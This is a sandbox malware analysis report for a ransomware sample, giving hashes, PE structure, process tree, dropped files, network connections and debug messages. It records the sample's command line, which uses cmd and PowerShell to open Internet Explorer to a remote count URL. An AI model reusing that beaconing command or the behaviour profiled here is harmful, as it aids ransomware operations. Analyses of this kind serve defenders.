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File name:

ransomware_1d1f2.exe

Full analysis: https://app.any.run/tasks/730b6efb-cf07-45b2-bd8c-6f5fbf9515e0
Verdict: Malicious activity
Analysis date: September 19, 2019, 04:13:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

50B863B58F35CD926854825E35F76AE1

SHA1:

184A13C0EAD417155CE8C4827D50065EDB471A4E

SHA256:

1D1F210745697F2B91B4C983C405A0F84BB4880F742CE71AE7BEAB2BE18FCF63

SSDEEP:

6144:kGG7PPI001hG4Xv4Y8w9oklesKwmJDAakTti7b1ytAIKYrY9KbWYS/+KTqrCaK3y:kGG7oGe8wy9FJ9Kbr7DGM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3816)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • ransomware_1d1f2.exe (PID: 2868)

    • Creates files in the user directory

      • powershell.exe (PID: 324)

    • Starts Internet Explorer

      • powershell.exe (PID: 324)

  • INFO

    • Changes internet zones settings

      • iexplore.exe (PID: 2932)

    • Application launched itself

      • iexplore.exe (PID: 2932)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3912)

    • Reads internet explorer settings

      • iexplore.exe (PID: 3912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:09:02 18:57:40+02:00
PEType: PE32
LinkerVersion: 12
CodeSize: 219136
InitializedDataSize: 123904
UninitializedDataSize: -
EntryPoint: 0x27098
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 02-Sep-2019 16:57:40

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000D8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 02-Sep-2019 16:57:40
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0003572B
0x00035800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.67289
.rdata
0x00037000
0x00015B1A
0x00015C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.87431
.data
0x0004D000
0x00005C20
0x00001800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.74533
.reloc
0x00053000
0x0000299C
0x00002A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.58774

Imports

ADVAPI32.dll
KERNEL32.dll
SHLWAPI.dll
USER32.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start ransomware_1d1f2.exe cmd.exe no specs powershell.exe no specs iexplore.exe iexplore.exe

Process information

PID
CMD
Path
Indicators
Parent process
2868"C:\Users\admin\AppData\Local\Temp\ransomware_1d1f2.exe" C:\Users\admin\AppData\Local\Temp\ransomware_1d1f2.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
3816C:\Windows\system32\cmd.exe /c powershell Start-Process -FilePath iexplore -ArgumentList "http://10.103.2.247/count02"C:\Windows\system32\cmd.exe—ransomware_1d1f2.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
324powershell Start-Process -FilePath iexplore -ArgumentList "http://10.103.2.247/count02"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2932"C:\Program Files\Internet Explorer\iexplore.exe" http://10.103.2.247/count02 C:\Program Files\Internet Explorer\iexplore.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3912"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2932 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Total events
607
Read events
500
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
15
Unknown types
2

Dropped files

PID
Process
Filename
Type
324powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XYL3J5TZ93XE7JEG3YAZ.temp —
MD5:—
SHA256:—
2932iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico —
MD5:—
SHA256:—
2932iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2932iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFE86E090215FDACF1.TMP —
MD5:—
SHA256:—
2932iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFAA71C8FF86B8DB23.TMP —
MD5:—
SHA256:—
324powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF169b3b.TMPbinary
MD5:0F2CAD9746414ABA31294C3B560FCFD5
SHA256:19AD383DED364BB44DED7C7CF00EB6254E5E98D696632944F6BC36724306EE15
3912iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\MSIMGSIZ.DATsmt
MD5:5B62C13D97D3E9A8A72D46CA5136DCAB
SHA256:4F053C5055E702BB748E9931D4931CC3474C241F98C488FD3D9F49D2B0DDB238
3912iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.datdat
MD5:B7FBBF4C4377B680A7E8B6790CEC8C80
SHA256:2785825C72569887C1615E08D3BF501F6FDAE576EFBEA5255CD3703F1FEDF12A
2932iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF5D1EEF5573199589.TMP —
MD5:—
SHA256:—
2932iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{E24D1646-DA93-11E9-B86F-5254004A04AF}.dat —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2932
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3912
iexplore.exe
10.103.2.247:80
—
—
—
unknown

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted

Threats

No threats detected
Process
Message
ransomware_1d1f2.exe
Error: RegCreateKeyExA "Software\Microsoft\.NETFramework\SecurityFolders" error 5.
ransomware_1d1f2.exe
Error: Access key "Software\Microsoft\.NETFramework\SecurityFolders\UserAgent" error 2.
ransomware_1d1f2.exe
Error: myHybirdCryptInitCtx error 2
ransomware_1d1f2.exe
Error: myHybirdCryptInitCtx error 2
ransomware_1d1f2.exe
Error: myHybirdCryptInitCtx error 2
ransomware_1d1f2.exe
Dir Not Writable: C:\$Recycle.Bin
ransomware_1d1f2.exe
Error: FindFirstFileA "C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-500\*.*" error 5.
ransomware_1d1f2.exe
Error: FindFirstFileA "C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-500\*.*" error 5.
ransomware_1d1f2.exe
Dir Excluded: C:\MSOCache
ransomware_1d1f2.exe
Dir Excluded: C:\PerfLogs
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ransomware_1d1f2.exe